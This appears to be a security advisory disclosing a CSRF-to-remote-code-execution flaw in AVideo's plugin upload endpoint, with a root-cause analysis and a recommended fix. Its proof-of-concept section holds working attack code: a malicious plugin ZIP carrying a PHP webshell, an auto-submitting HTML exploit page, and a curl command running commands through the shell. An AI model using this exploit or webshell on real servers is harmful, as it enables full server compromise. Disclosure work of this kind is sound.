+ "details": "## Summary\n\nThe `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.\n\n## Details\n\nThe root cause has two components working together:\n\n**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**\n\n```php\nif ($isHTTPS) {\n ini_set('session.cookie_samesite', 'None');\n ini_set('session.cookie_secure', '1');\n}\n```\n\nThis explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.\n\n**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**\n\n```php\nif (!User::isAdmin()) {\n $obj->msg = \"You are not admin\";\n die(json_encode($obj));\n}\n```\n\nThe endpoint only checks `User::isAdmin()` via the session. There is:\n- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)\n- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)\n- No `Referer` or `Origin` header validation\n- No requirement for custom headers (e.g., `X-Requested-With`)\n\nThe upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `<form enctype=\"multipart/form-data\">` with a file input.\n\n**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective.\n\n**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.\n\n## PoC\n\n**Step 1: Create the malicious plugin ZIP**\n\n```bash\nmkdir -p EvilPlugin\n# Main file — passes PluginAbstract validation\ncat > EvilPlugin/EvilPlugin.php << 'PLUG'\n<?php\nclass EvilPlugin extends PluginAbstract {\n public function getTags() { return array(); }\n public function getDescription() { return \"test\"; }\n public function getName() { return \"EvilPlugin\"; }\n public function getUUID() { return \"evil-0000-0000-0000\"; }\n public function getPluginVersion() { return \"1.0\"; }\n public function getEmptyDataObject() { return new stdClass(); }\n}\nPLUG\n\n# Secondary file — webshell, NOT checked for PluginAbstract\ncat > EvilPlugin/cmd.php << 'SHELL'\n<?php if(isset($_GET['c'])) system($_GET['c']); ?>\nSHELL\n\nzip -r evil-plugin.zip EvilPlugin/\n```\n\n**Step 2: Host the CSRF exploit page**\n\n```html\n<!DOCTYPE html>\n<html>\n<body>\n<h1>Loading...</h1>\n<script>\n// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php\n// In practice, the attacker would embed the base64-encoded ZIP bytes here\nasync function exploit() {\n const zipResp = await fetch('evil-plugin.zip');\n const zipBlob = await zipResp.blob();\n\n const formData = new FormData();\n formData.append('input-b1', zipBlob, 'evil-plugin.zip');\n\n fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {\n method: 'POST',\n body: formData,\n mode: 'no-cors',\n credentials: 'include'\n });\n}\nexploit();\n</script>\n</body>\n</html>\n```\n\n**Step 3: Admin visits attacker's page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n $obj->msg = \"You are not admin\";\n die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {\n $obj->msg = \"Invalid CSRF token\";\n die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n<form enctype=\"multipart/form-data\">\n <input type=\"hidden\" name=\"globalToken\" value=\"<?php echo getToken(); ?>\">\n <input id=\"input-b1\" name=\"input-b1\" type=\"file\" class=\"\">\n</form>\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$('#input-b1').fileinput({\n uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',\n uploadExtraData: { globalToken: $('input[name=globalToken]').val() },\n // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.",
0 commit comments